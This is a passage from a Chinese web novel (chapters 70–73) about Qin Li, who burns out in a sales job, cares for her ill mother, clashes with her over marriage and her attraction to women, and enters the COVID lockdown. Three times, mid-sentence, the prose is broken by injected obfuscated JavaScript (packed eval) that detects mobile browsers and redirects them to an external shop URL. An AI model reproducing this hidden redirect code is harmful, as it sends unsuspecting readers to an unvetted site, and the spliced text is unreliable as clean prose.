“没事的,谢谢老师。我有其他安排,所以就不来了,把机会留给其她同学吧,非常感谢您。” 挂了电话,秦离蹲在地上,缩成一团,就这么抱着自己,抱了好久好久。 再起来时,她已经做好决定,要找个工作——能赚钱的工作。 金融投行计算机之类的似乎赚得多,但她通通不会。思来想去,秦离考虑去做房地产销售,只要能说会道,卖得多就能赚得多。 知道这件事后,妈妈爸爸都强烈反对。她们不想秦离吃苦,但秦离十分坚持,最后两人也只能随她去了。那阵子她们脸上总是挂着愧疚的神情,气氛低迷。 秦离的职场之路也是坎坷不平。在销售的道路上,靠得就是厚脸皮,口若悬河,甚至还带了些欺骗性质,无所不用其极。 一开始,秦离还拉不下脸,不敢和同事去争客户,遇到有些自傲又不和善的客人,更是脸上通红,难堪得想低头找个缝钻进去。 在这里,什么学历专业都是无用的,学校的那套行不通。 然而时间久了,慢慢的秦离也习惯了,面对什么刁难都能挂上虚伪的笑容,游刃有余地应对。 有时候,她回望过去,只觉得恍惚像是看着另一个世界。 那些幼稚又漫无目的的幻想和闲逸人生都是真实的吗?现在的她好像除了碌碌生活,便只有碌碌生活,没有梦想,没有对未来的期待。 但在妈妈治病开销变大,需要一大笔钱支付手术费和后期治疗费后,秦离便知道,这一切都是值得的。 妈妈病情算是控制得比较好的了,手术很成功。现在,原本化疗掉光的头发也重新长出来,虽然白了许多。妈妈最近又觉得有点不舒服,心里惶惶不安,秦离便带她来复诊。今天刚做完各项检查,具体情况还要等结果出来才知道。 秦离握着妈妈的手,笑着安慰她:“没事的,妈,现在一切都很好。” 70. Chapter 70 周末,秦离终于有了一天假期。妈妈还要继续住院观察,爸爸从老家赶过来,接了秦离的班。 秦离有一天的自由时间。 这天太阳不错,郭平——他毕业后回了南城进了银行——约秦离出来打麻将,她不想去。 “来嘛来嘛,难得你有时间了。” “是啊,难得我有时间休息了。饶了我吧,让我躺平。” 她真的没有一丝力气搞多余的活动了。昨晚回家时才九点半,但她已经累得神志不清,连洗漱的力气都没有,只将外衣一脱,倒在床上就睡着了。 今天早上醒来时已经九点了。她现在已经很少有机会这个点才起床,醒来也不想起来,侧卧着缩成一团玩手机,不断滑走一个又一个短视频,过眼不过心。 到下午一点,她才后知后觉肚子饿,熟练地打开外卖软件,点了一堆炸物和七分糖的大杯奶茶。垃圾桶里堆满了塑料盒,旁边还放着两个塞满的塑料袋,都是这一周点的外卖。 她总是忘记将这堆垃圾带下去。对秦离而言,连这都变成了一件好艰难,需要酝酿状态的事。 好累…… 胡乱将食物和饮品都全部塞入口中,直到胃被撑到提出抗议,连挪动一下都艰难不已时,秦离终于停下,熟练地这堆垃圾又扔入新的塑料袋,又躺回了床上。 下午了,秦离开始刷青色交友软件。 这个软件比其它同类交友软件来得含蓄文艺些,没有那么多乱七八糟的噱头和花样,当然流量也不大。上面直播的也大多不是职业主播,不靠这个赚钱,也不求什么礼物,只是偶尔开几次,和偶入的路人们聊聊天,然后说不定第二天就消失不见了。 秦离喜欢这种感觉。她喜欢和这些萍水相逢的陌生人说说话,感受一点不同的世界。 屏幕上,清秀爽朗的短发女孩正在分享自己的人生,眼睛里都是光:“室友们都没在,今天我休息,就不出去写生啦。等会和女朋友出去玩,哈哈~” 【哇,快乐呀,等会打算去做什么呢?】 秦离面无表情敲下活泼的文字,主播也回得很快:“呜,去做手工吧,她说想戳个毛毡来着。” 聊了会,主播要出门了,秦离又换了个直播间,挑中自己喜欢的长相。这次是个乖巧白净的长发女孩子,一双眼睛扑闪扑闪,很亮。 “欢迎树下的小奕!好可爱的名字呀,来得刚好,有没有什么想听的歌呀。前面大家点的都唱过了,我都不知道下首唱什么了。” 女孩的声音很可爱,像被蜜糖泡过般。 秦离点了些自己喜欢又常见的歌,女孩唱得挺好的,她便刷了几块钱的礼物,多的也不舍得给了。 然后再滑到下一个。 收到崔明秀消息时,秦离正在和某个暧昧对象聊天,好像是上次在酒吧玩游戏的时候认识的?对方也是个社会人,两人还算合得来,每天断断续续聊点,假期偶尔一起吃吃饭看看电影,似乎也会说几句撩拨心弦的话,见面时便牵手拥抱,更多的,双方都没有力气再深入了。 家里最窘迫那两年,崔明秀也帮了些忙,但她那时似乎也遭遇了什么大的变故,消失了很久,再出现时,只有她一个人了。 她沉默了很多,也不再提起邱玥的事。 听家里人说,那个女人好像死了。秦离不敢多问,只觉得物伤其类,也好难过。 【勺勺,最近怎么样,还在南城吗?你和你妈爸一切还好?】 【嗯呢,都挺好的,我妈最近状态也很稳定。】 【那真是太好了,我过几天回南城,到时候来看你们。好久没见面了,这次我们好好聚聚。】 秦离还是开心的:【那太好了!小姨,等你回来。这次回来呆多久呢?】 那边隔了一阵才回消息:【其实,我这次回来就不打算走了,计划之后就在南城发展,离亲人也近嘛。】 【……不呆在安城了吗?】 【嗯,不呆了。】 后面聊了什么,秦离不太记得了。发完消息,她倒在床上。她觉得自己应该为小姨感到高兴,但心中却控制不住涌出一股股的悲伤。 看小姨字里行间,状态似乎比之前好很多了。她已经完全走出来了吗?已经决定离开安城,去开启新的生活? 而且她少时那么坚决地离开,现在却仍要回到离亲人近的地方,像是回到躲不开的既定命运轨道上。 秦离想起那个内敛又有点害羞的女人,想到她和小姨许许多多甜蜜的合照。 而现在,那么多合照的一半早已变成了黑白。 原本已经被现实消磨的麻木的心,好像还会酸痛。秦离瞥见了屏幕上某个藏在文件夹里的印象笔记。 她还记得里面存着什么,但已经好几年没有打开了,但也没有删除。 几年的时光,似乎已经足以让她忘记黎羽的模样,连名字念起来都那么陌生。 秦离盯着看了几分钟,自嘲地笑了笑,最终关掉软件,任由它继续在文件夹的角落里落灰。 她拉上厚重的窗帘,原本就偏暗的房间瞬间变得一片漆黑,拒绝任何光进来。 手机上依旧放着幸福大街的歌,秦离平躺着,望着浓浓黑暗背后的天花板,却什么也看不见。不知道是自己是睡着了,还是醒着的。 “你像一阵春风拂过了我的生命 却只留下一段伤心给我 让我无法寻觅你的影踪 我在这里等你 等成了一棵冬天的树 把对你的思念开成了花朵 静静守候着你经过”① 歌单里的歌放了好多首,秦离不知道自己是什么时候睡着的,醒来时她靠着墙,缩成一团。 刺眼的屏幕光下,时钟显示晚上一点半。 再过五个小时,又要起床去上班了。 好烦……真的好烦…… 理智告诉秦离,她应该起床把垃圾简单收拾下,至少把明天上班的衣服准备好,但她却连一根手指都不想动弹。 又习惯性地打开短视频,她无意间看到了一部电影剪辑介绍——《小姐》,是《荆棘之城》的韩国版,哦,现在书的翻译也叫《指匠》了。② 秦离之前隐约知道这本书又拍成了电影,但她莫名有点抗拒,一直没看。 这个深夜,她终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370200|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开了这部电影。 故事的前半段和旧版差不多,只是将背景放在了韩国。金敏善很美,演Sue的女演员可爱中多了一丝灵动,似乎不像英版那么笨拙。 秦离看过目前所有的原文和译本,英版也看了很多遍了,对里面每一个阴谋和爱欲的转变都烂熟于心。 她等待着,却看见小姐在庭院的大树上挂上绳子,看着“准备”要自杀的她被女仆救下来,看着两人互诉衷肠,讲出自己隐瞒的所有,然后决定一起骗过所有人,一起逃离。 她们笑着,牵着手,在月光下奔向远方。 秦离看着看着,不知不觉已经泪流满面。 是手机光太刺眼了吧,在这片黑暗中。 真好啊……真好啊…… 原来Maud和Sue将一切讲清后,是这样美好的场景。 秦离泪眼模糊,后面的剧情都看得不太真切了。 她满脑子都想着Maud和Sue,想着两人在床上缠绵着,想着Maud将Sue反手送进精神病院,想着Maud如何在贼窝里挣扎,知道真相,而Sue又在精神病院受了多少折磨,艰难逃出来,自以为跑回了“家”。 两人受了多少磨难,才又回到了荆棘之城,换回了那段对话。 “这些都是说的什么?” “这上面满篇写着的都是……我是多么渴望你……我是多么……爱你……”③ 秦离哭到抽搐,上气不接下气。 她也不知道自己为什么会这么伤心。 电影结束,秦离打开《指匠情挑》的同名主题曲。熟悉的旋律优雅而缱绻,在黑暗的房间里慢慢流淌。 灵魂在空中飘荡。 恍惚间,窗帘好像变成了白色,被清冷的风吹起,欢愉和笑声若隐若现。 秦离不知道自己是什么时候睡着的。再醒来时,是被爸爸的敲门声叫醒的。 “勺勺?你怎么还在家,今天不上班吗?” “唔……” “已经十二点了,今天休息哇,吃饭没?” “什么……!” 秦离猛地惊醒,手机早已没电了。她匆忙插上充电线,打开是一连串的未接来电和消息,有同事的,还有主管的。 “秦离!你咋个回事!人没来,电话不接还关机,还要不要工作了?” “这个月工资莫想要了!” “我从来没见过你这样的员工,过来在所有人面前好生做检查!” “……” 后面还有好几条消息,秦离不想翻了。她将手机扔到床尾,脱力般栽回床里。 这个主管是个很龟毛的人,最爱抓小放大,揪着各种小点不放,搞些无意义的形式主义。平时大家踩点上班被他逮到都要说半天,这次秦离直接失踪半天,不敢想象要被他冷嘲热讽多久。 想到这,秦离只想闭上眼睛,干脆睡死过去算了。 好累…… 这破人生为什么还在继续…… “勺勺?”看她半天没反应,爸爸推门进来,满脸担忧,“怎么了,不舒服吗?” “老爸……我……我不想工作了……” 71. Chapter 71 “老爸……”秦离泪水不断地往外流,哭得稀里哗啦,“我不想去,不想去上这个班,她们都好讨厌……” 她抓着被子,力道大得将棉被捏成一条条的,扯来板去,像在跟谁较劲。 “好,好,我们不去了,不去了……” 爸爸坐在床边,心疼地看着女儿,拍着她的手臂,给她递纸巾。 秦离哭了很久,后来情绪平静下来,给主管发了条“我不干了”的消息,压掉对方的电话,没管那边暴跳如雷的反应,久违地在家好好吃了顿爸爸做的饭。 一开始只是冲动,但真说出辞职的话后,秦离只觉得压在心口的大石头被搬走,有种许久未有的轻盈。 或许早该辞职了。 饭桌上,爸爸做了好几道菜,蒜香排骨,鱼香茄子,丝瓜圆子汤,都是秦离爱吃的。 好好吃,她好久都没吃过爸爸做的菜了。 真好啊。秦离狼吞虎咽着,明明是想笑的,眼泪却又啪嗒掉进了碗里。 爸爸没说什么,只是又给她盛了碗丝瓜圆子,语气刻意轻松:“好好休息几个月吧,家里还有些存款,不至于就揭不开锅了。实在不行,老爸还可以再去单位申请盘慰问金撒。” 实际上,家里最困难的时候,爸爸也确实申请过,期间似乎还和单位上什么人闹了些矛盾,很不愉快。后来,老爸和同事的来往就比过去少些了。 这会,秦离没想这么多。她终于破涕为笑,敞开大吃。 还好,这一次妈妈的例行检查和治疗情况都不错,医生说不用住院了,平时只要注意饮食清淡心情愉悦,不要太劳累就行。 回家了,她又回到看看剧,遛遛狗,晒晒太阳的生活。狗是两年前捡的,一只贪吃的小狗。 其实刚开始病情好转时,妈妈也不是没想过继续工作。她是个事业心很强的人,闲不住,而且家里的资金紧缺也让她心紧。 她背着家里偷偷跑了个新项目,结果项目才刚开始呢,她又倒下了,秦离和爸爸这才知道,将人火急火燎送去医院。 自此,妈妈终于老实,在家休养,提前进入退休生活。 爸爸还要上班,一直是两三周过来一次。平时便是秦离和妈妈两个人在家。 没有了工作压力,秦离触底反弹,又回到大学时的那种颓废状态。她整夜整夜地看小说,躺在床上就不想起来,手机上积了一堆消息。 不想听,不想看,不想交流,不想接触现实。 然而,这毕竟不是无忧无虑的大学时光了。 “勺勺,起来吃点早饭不。” 早上八点,妈妈总是敲门来叫秦离吃早餐,即使秦离前一天晚上都告诉她不吃了。 “……我不吃!” “吃点嘛,吃了再睡。” “哎呀,不吃!” 秦离吼出声,烦躁地用被子捂住头。等到中午不得不爬起来,面对一桌子菜时,心中又无比自责。 妈妈是病人,还要做饭,自己还吼她,真的好糟糕。 爸爸不在的时候,大多是妈妈做饭。秦离没办法,也不想做饭,最多只能提前点食材外送,不让她大早上辛苦去菜市买菜。 妈妈以前是不会做饭的,她为了项目各地跑,别说做饭,连好好吃饭都不是件容易的事。 但自从生了这场大病后,她突然意识到身体的重要性,开始注意饮食,还拉着秦离一道,不让她吃外面的东西,说是不干净,又非要喊她 从读书到后来做销售,秦离早已习惯吃外卖和各种垃圾食品。 她并不是饿,只是习惯用各种食物塞满自己的胃,眼睁睁看着体重涨了十来斤,但这已经是她为数不多的慰藉了。 现在,连这点点慰藉都要被剥夺, 秦离知道妈妈是为了自己好,但是——虽然这么说会让她受到更多的良心谴责——但是,秦离真的好想找个没有任何人打扰的地方,就这么快乐地呆上一段时间,忘记现实中的所有烦恼。 但她不能这样,她不能再任性了。 已经不是二十出头的小姑娘了,怎么能像过去那样幼稚任性呢。 秦离心里都知道,但她什么都不想做,也茫茫然不知道该做什么。 未来……什么是未来? 焦虑让秦离整晚不想睡。她刷着榜单上的所有小说,已经不在乎看到是不是好看的,只想沉浸在不同的爱情故事里。 多么美好的世界啊。 她笑着,流泪着,夜夜到天明。 和妈妈的第一次争吵来得很快。 那天吃完午饭,妈妈急着出门和老同学聚会,晚上会比较晚回来,让秦离把碗洗了,晚上记得遛狗。 秦离答应得好,但往床上一躺,一摸手机,就再起不来了。 醒醒睡睡,再醒来时,她听见了妈妈开锁的声音。 不好…… 秦离猛翻身起来,已经晚了。 屋子里依旧是离开时的一片狼藉,不,应该说更加更加混乱。 桌上的早已凝了一圈油的碗碟,小狗搭着没抽进去的椅子爬上去,将剩饭剩菜舔得一干二净,在房间里撒欢,客厅和饭厅里都是它的尿尿和便便。 一股异味。 “秦离!” 妈妈本来情绪就不太好,见状彻底爆发了。她闯进秦离房间,皱着眉大声呵斥:“一天就晓得睡睡睡,碗也不洗,狗也不遛,也不做事。你到底想爪子,就这样过日子蛮?” 秦离本来有些心虚,但面对斥责本能顶了回去:“我又不是不洗不遛,不过是不小心睡着了,等哈我去都做了就是嘛。” “等你做,不晓得要等到哪百天哦,还要我天天求到你做蛮。我不求你多勤快,就是不要天天在床上一歪起耍你那个手机,躺起长肉,喊吃饭都喊半天。你多出去活动活动,减减肥,也为自己未来好好打算哈撒。” 是你非要我起来吃的……我说直接点外卖你又不让……而且之前说让我好好休息休息,现在又让我多出去活动…… 秦离心里堵了很多话,但没敢说出来。她知道自己说出去,妈妈肯定暴跳如雷,更加生气。她很想就这么摔门出去,现在就出去“活动活动”,但也没敢。 都已经二十五岁的人了,还和父母住在一起,甚至不敢肆意做决定,为自己的人生做主。 秦离有时候都觉得悲哀。 她闷着头不说话,听母亲长篇输出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370201|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到后面又提到自己的事,悲观的情绪上来,觉得自己没用,开始掉眼泪。 秦离心里叹了口气,坐了过去,本能切换成了工作状态,安慰母亲的样子熟练又略显疏离:“好了,妈,没事,别急。等之后身体再好点,你可以试试做点轻松的事情呢,不一定要去跑工程的。或许做点建筑劳务相关的,平时就去去办公室,不用跑外地这样?” 母亲抹了好多眼泪,最后话题又回到秦离身上:“妈妈不是想说你,就是有时候有点心急。你之前那个工作确实干不长久,我也没急到让你现在就要找工作,但生活不能过得一塌糊涂了,人躺久了只会越躺越废。好久都没看到你和朋友出去耍,妈妈看了也心急,你就是每天吃完饭下楼走二十分钟也好啊。” “……知道了。” 母女俩“重归于好”,一起收拾了烂摊子,也“收拾”了小狗。 秦离听母亲絮叨了好多心里话,第一次她得了大病后人苍老的感觉。 第二天,秦离决定出门。迎合母亲期盼和欣慰的目光,她觉得浑身不自在,好像在完成什么任务。 工作日本来就没有多少人空闲,加上秦离这两年都不怎么和朋友出去,一下子还想不到能约。最后,她还是化了个妆,换了身驼色大衣,决定去找阿清。 阿清是个自由职业者,开民宿、搞团建、做翻译、写稿子,好像什么会干,什么都干过点,似乎是个追求浪漫自由的理想主义者。 秦离和她是在酒吧认识的。 阿清是个清秀高挑的女孩,扎着半高的马尾,慵懒随意。两人在漫无边际的玄谈里找到一点共鸣,因此经常聊天,从不谈及现实困扰。对秦离而言,和她在一起呆着,能获得难得的平静快乐,像是乌托邦样。 她们注重精神交流,只是偶尔牵手拥抱。 暧昧吗,有一点,但似乎又只是朋友。 出门后,秦离才给阿清发消息,问她是否有空。 【怎么今天突然来找我?】 两人的约会时间向来是在周末。 【我辞职了。】秦离没有多说。 【这样啊。】阿清也没有多问。【那今天想做什么?】 【去看私影吧。】 【行。】 天堂电影院,两人常去的约会地点之一。 她们去了常去的那个包间,里面有张大床,放了很多娃娃,可爱温馨。 今天阿清选的片子是《大卫·戈尔的一生》,犯罪悬疑片。两人依偎在一起,阿清熟练地将她圈在怀里,手臂碰着手臂,呼吸却好像隔得很远。 按照惯例,她们都没有看剧透,在故事开篇就将自己对剧情的猜测写在备忘录里,等着故事结束再对想法,看谁猜得准。看电影期间,也夹杂着陆续的讨论。 只有电影。 然而,秦离今天却无法静下心来。 烦躁不安,让她无法完全沉浸在电影剧情中。她侧头,看到屏幕光落在阿清脸上,照亮她白皙的皮肤,纤长的睫毛,和因为说话而微张的嘴唇。 她没有听清她在说什么。 秦离心中突然涌起一股冲动。 她抓着阿清的手,凑了过去,触碰她的唇瓣。 72. Chapter 72 阿清愣住了,但很快回吻。没人再关注电影。 两人的唇瓣摩挲着,呼吸却并不交融。 秦离觉得自己的眼睛、耳朵、鼻子、皮肤都变得迟钝,所有的感知都隔了一层玻璃,朦朦胧胧。 她是在和人接吻吧?但这个人又好像不是她,这张嘴也不属于她,似乎只是挂在身上的一块肉。她脑子里甚至还在想,晚上要吃什么。 好陌生。 这个世界,什么都好陌生。 两人黏得更紧了,时不时的肉与肉、肌肤与肌肤的触碰,好像什么必备的仪式。 电影结束,是秦离猜对了结局,但阿清这次不太在意,只问道:“要不要换个地方?” 一切好像变得顺理成章。 秦离心中有些别扭,拥抱和亲吻并没有安抚她心中的躁动和无底黑洞。但她犹疑着,还是点了点头。 今天是个阴天,天色很暗,昏黄得像是到了世界末日。风很大,街上没多少人,好多都戴着蓝色口罩,将自己裹在厚厚的衣服里,行色匆匆。 人和人之间的距离变得好远。 这时,阿清牵着秦离的手,手心很热。秦离又庆幸,身边还有人与她走在一起。 两人到了家酒店,看上去有些破烂,阿清开了房。 进房后,阿清放着音乐,是舒缓又迷离的后摇风格,如梦如幻。秦离先去冲了个澡,出来后,她躺在床上,换阿清进去。 秦离望着空荡荡的天花板,在空灵的音乐中,觉得自己的灵魂散成了一片片,飘在空中跟尘埃混在一起,一阵风来就会消失不见。 阿清上了床,搂住秦离,熟练地解她衬衫的扣子。 秦离突然感到恐惧。她隔开阿清的手,犹疑道:“要不……下次?我……我刚刚发现自己来例假了……” 她的话说得磕磕绊绊,没察觉自己的身体一直在发抖。 阿清看着她。 她的眉目很深邃,眼睛里似乎藏了很多东西,让人探不到内里的情绪。 她没说话,只是看着秦离,许久才微不可见地叹了口气:“好。” 秦离紧绷的那根弦一下就松下来了。 “我还以为……” 阿清的声音落得很轻。秦离还没听清后面说了什么,已经被她搂在怀里。只是拥抱,没有更多。 “那就睡会吧,今天的天气也很适合睡觉呢。” “……好。” 秦离缩在阿清怀里。她依旧什么也闻不到,闭上眼,任由自己被黑暗淹没。 世界依旧隔得很远,时间停止了流逝,只有房间里散开的音乐和环抱着自己的体温。 不知道过去了多久,半梦半醒之间,秦离好像听见了熟悉的歌声。 “清晨下了一场雨 露水沾湿了小茉莉 白色花瓣 纯洁又清晰 偷吻着你的呼吸” …… “小茉莉是否你会把我忘记 小茉莉请记得我还在这里 小茉莉在枝头上自然美丽 小茉莉……” “请记得我,不要把我忘记。”① 梦里,似乎梦见了谁,又朦朦胧胧,看不清身影。醒来时,秦离什么也不记得了,只有眼角微微湿润。 黑暗里,阿清靠坐在床头,手里夹着一支烟,微微出神,不知道在想什么。 秦离凑过去要了一支,熟练地点上,与她坐在一起吞云吐雾。 她依旧不会吸烟过肺,却也习惯了各种烟的味道,不会再被呛着了。 一支烟结束,阿清掐掉烟蒂,摸了摸秦离的头,突然道:“我要走了。” “嗯?”秦离没反应过来,“要回家了吗?” 阿清摇摇头,秦离看不清她的表情。 “我要离开南城了。” “啊,怎么这么突然,是不是因为我今天……” 秦离不想自作多情,但阿清这话确实说得太突然了,她有点愧疚。主动的是她,退缩的也是她。 黑暗里,阿清的声音依旧是那么平静。她似乎笑了声,摇了摇头:“我已经在南城呆了太久,是时候去往下一个地方,看看不同的风景了。” “这样啊……”秦离有些难过,又想挽留,“真的不再多呆一阵子吗?” 阿清捏了捏她的脸,语气轻松:“我的归属不在这里,不可能一直呆在这里啊。” “那你的归属在哪里?” “不知道,继续走下去,或许在走到生命的尽头前,能找到吧。” 秦离便无法再说什么了。 她只是依旧有些愧疚,总觉得是自己莽撞的行为打破了之前两人相处的美好。 两人又开了部电影,是《东京物语》②,节奏很缓慢,故事很平淡。两人就如往常那样依偎着,就像是两只取暖的动物。 电影结束,阿清要走了,秦离没有留她,虽然她知道,这次分开后,她们不会再见面了。 阿清走后,秦离一个人躺在床上,接着放歌,是Carol里的音乐。 “Justrememberwhenadreamappears Youbelongtome I''llbesoalonewithoutyou Maybeyou''llbelonesometoo”③ 空气像水流一样流动起来,变得缓慢。秦离终于恢复了感知,她闻见了房间里淡淡的木头味,天花板的角落里,蜘蛛挂着丝轻轻荡着。 连窗外车来人往的声音都突然变得好清晰。 车灯和霓虹灯的光打在窗帘上,从缝隙隐隐透了进来。 秦离也不知道自己在想什么,在想谁。 直到妈妈打电话来,问她什么时候回家,她才从这种状态中抽离出来,又落回现实。 秦离到家时已经快十二点了,妈妈坐在沙发上等她。 见她回来,妈妈小心翼翼问道:“今天怎么样,和哪些人耍了?” 那种任务感又出现了。原本以为已经消失的烦闷感又席卷而来,秦离忍着不耐烦答道:“一个朋友。” “同学吗?” “不是同学,就是朋友。” “男生还是女生啊?” “女生。” “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370202|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,就是普通朋友,没撒子特别的。” 察觉到妈妈有些在意她出去见面的人的性别,秦离本能不舒服,心中隐隐有些预感。 果然,妈妈并没有要睡的意思,拉着她坐在沙发上谈心。深夜时刻,外面什么声音也没有,只有脚下的小狗在打转。秦离一边垂手逗小狗,一边心不在焉听妈妈说着。 “我前几天不是和老同学出去吃饭了吗,对方儿子跟你差不多大,在央企上班呢。人有一米八五,没谈恋爱,我就想着有机会……” “我没兴趣,”妈妈话还没说完,秦离就打断了她,“不要给我说这些。” 妈妈打开相册,还在坚持“推销”:“你这娃儿,我还没说完呢。我这有照片,你看哈,先看看再说合不合适喃?” 秦离感到生理性的厌恶,胃里抽搐。过去,她以为独立自主如她妈妈这般的女强人,应该不会做出网上看过的那种催婚催恋的封建行为。没想到兜兜转转,原来都一样。 她的眉头已经皱成一片,小狗柔顺的棕毛都不能带给她慰藉,说出来的话都带着刺:“我对男的不感兴趣,不要指望我会和男的谈恋爱结婚。” 母亲瞬间明了秦离的潜台词,原本兴奋的神情瞬间变得愁苦,眼泪已经在眼眶里打转了:“勺勺,你这样不得行的啊,还是要调整改变的。” 秦离的心情落到了谷底。她怕自己一张嘴就是更加刺激的话,只能忍住不开口,将小狗抱在怀里,继续摸着。 母亲还在絮叨着。自从大病之后,她不再像过去那么强势,连话都多了很多:“人不能一辈子这样子的,你这样没有保障,未来要怎么办。妈妈……妈妈说不定什么时候就不在了,不能一直陪着你。你要怎么办啊……” “总要……总要有个人照顾你……” 秦离低着头不看她,听她哭泣着说话,无动于衷,又嘲笑自己的冷血。 她明白母亲的顾虑,却没法退让一点。 直到最后母亲哭累了,说着什么“我管不了你,也不想管你”,跑回房躺着了。秦离在沙发上坐了很久,坐到小狗都已经犯困闭眼了,才将它放回窝里,拖着疲惫的身体回到自己的房间。 乱糟糟的房间里,连窗外微弱的路灯都显得好刺眼。 秦离拉上窗帘,将自己埋在被子里,缩成一团。手机屏幕亮起,她想跟人说话,却不知道要找谁。打开朋友圈,所有人似乎都生活得很好,走在期待的人生轨道上,有着爱的人,做着爱的事。 只有她自己,躺在这片黑暗中,就像在烂泥里一样,越挣扎,越深陷。心里很清楚自己是什么烂样子,却无法改变。 好痛苦,人生真的好痛苦。 她不知道自己怎么样,才能通往想要的生活。 至少,先有自己的空间吧,能够自在地活着,决定自己什么时候起,什么时候睡,什么时候吃饭,不必连晚上回家都要被问。 还是找个工作吧。之前忙着上班时,她与家里人似乎就没这么多矛盾,为数不多的见面时间,很珍贵,都是温情。 快睡着时,秦离隐约这么想着。 她想不到的是,再睁开眼,世界已经变了。 73. Chapter 73 变化是突如其来的,还是一早就蛰伏着,只是自己一无所知而已,秦离不知道。她只看见,一觉醒来,铺天盖地是新冠疫情的消息,人人自危。 是像2003年非典那样吗?但那时候她还小,没有概念,现在却真切感受到恐慌在蔓延。网上什么平台都在讨论新冠,明目张胆的,隐晦暗示的,大家不知道由来,只是担心自己会受到影响。 离过年还有不到半个月,有传闻,南城马上要封城了,好多人连夜开车逃回老家。 好像一下子就乱了。 一大早,妈妈已经出门买菜了,秦离跑到药店,挤在人群里抢到最后两包口罩和不知道治什么的药,总之先买了安心。回来时,妈妈已经在客厅里了。 看见秦离从外面进来,妈妈有些诧异,但她还闷着气呢,低头择菜,不跟秦离说话。 秦离这时也没心情跟她怄气了,将买的一大包药和口罩放在桌上,凑过去,边帮她择菜边道:“老妈,最近外面到处在传新冠疫情的事,安全起见,你之后别出去买菜了,我点外卖让人送吧。这段时间都少去人多的地方,实在要出去,把口罩戴上。对了,别等老爸来南城了,不如我们回老家过年吧。” 秦离虽然觉得不至于像网上说的那么严重,但心中也惶惶不安,想寻个安全区。 “哪儿那么夸张哦。我也看到说新冠的了,都是些小道消息。国家出手,几哈就控制到了。我最近正在和老同学谈开劳务公司的事,现在火急火燎就跑了,别个咋想喃?” “哎呀,之后再谈也是一样的嘛。”秦离劝着,但妈妈坚持,她只能换个思路,“那不行喊老爸过来嘛,我们今年就在南城过年。” “莫想一出是一出,你老汉还要上班,哪是说跑就能跑的。” 秦离没辙,只能抱着手机一遍遍地刷,跟踪最新消息。昨晚想的什么找工作都被她抛在脑后。 过两天吧,等妈妈正事谈完,她一定要劝说赶紧回老家。 然而,计划没有变化快,还没等妈妈那边谈完公司的事,关于新冠疫情的新闻正式公之于众,各地的管控规定也很快出来,虽然没到封城的程度,但确实是不允许大家随意流动了。 老爸作为公职人员,更是不允许轻易离开本地。他给秦离打电话,让她们就好好在南城家里呆着,听社区的安排,如果缺物资或者有什么情况,他再想想有没有什么办法。 但秦离心里清楚,远水解不了近渴,老爸的力量也是有限的。况且,他的声音听上去也很疲惫,这些天他们单位所有人都被安排了防疫工作,从早到晚行动着,压力很大。 “好的,我知道了,老爸你放心,还有我在呢,没事的。你也要小心啊,天天在外面跑,一定要注意安全防护。” 放下电话,秦离的心里并没有语气上那么轻松。这么多年,这是她们一家三口第一次不在一起过年。况且妈妈还生过大病,若是真的沾染那可怕的新冠,说不定就…… 妈妈的情绪还不太好,这次,家里的重担似乎是真的完全压在秦离身上了。 妈妈状态确实不太好。在发现事情并不如她所想,完全超出计划外,而且还不能外出后,她的情绪失控得很厉害了。 “这个撒子新冠到底是浪开回事嘛。我们本来手续都要走完了,而且刚好还有个合适的项目,不用像之前那样跑来跑切,现在又要打水漂了!” 秦离心里也慌得很,但强压住安慰她:“别急,现在全国都是这样,也没办法,等过阵子肯定就好了撒,我们再等等,就当休息了嘛。” 但事情并不如大家所期望的那样。 很快,整个城市好像被切割成了一个个社区。每个社区都像一座孤岛,靠自己的人力和不知怎么形成的规则运行着。这个年就这么没滋没味地过完了,除了过年那两天流水般的祝福,秦离感觉更多的依旧是被疫情的消息淹没。 管控还在继续,稍微出格的行动轨迹似乎都成为了众矢之的。线下,每个人都用防备的眼光看着其他人,用口罩将自己隔绝开,人和人的距离被拉得好远。甚至连小狗似乎都成了危险因素,听说了其它城市强行进门消杀宠物的新闻,秦离自此只敢在深夜带小狗在楼下的那一小块草坪遛一遛。 只有网络上,大家才可以肆意交流来往,吐槽现实,再沉溺在虚拟的快乐之中。 秦离很适应这种封闭生活,要是可以,她能在床上躺好几个月,看小说打游戏,和陌生的网友聊天,如果不用担心物资,不用走出房门就要面对妈妈的话。 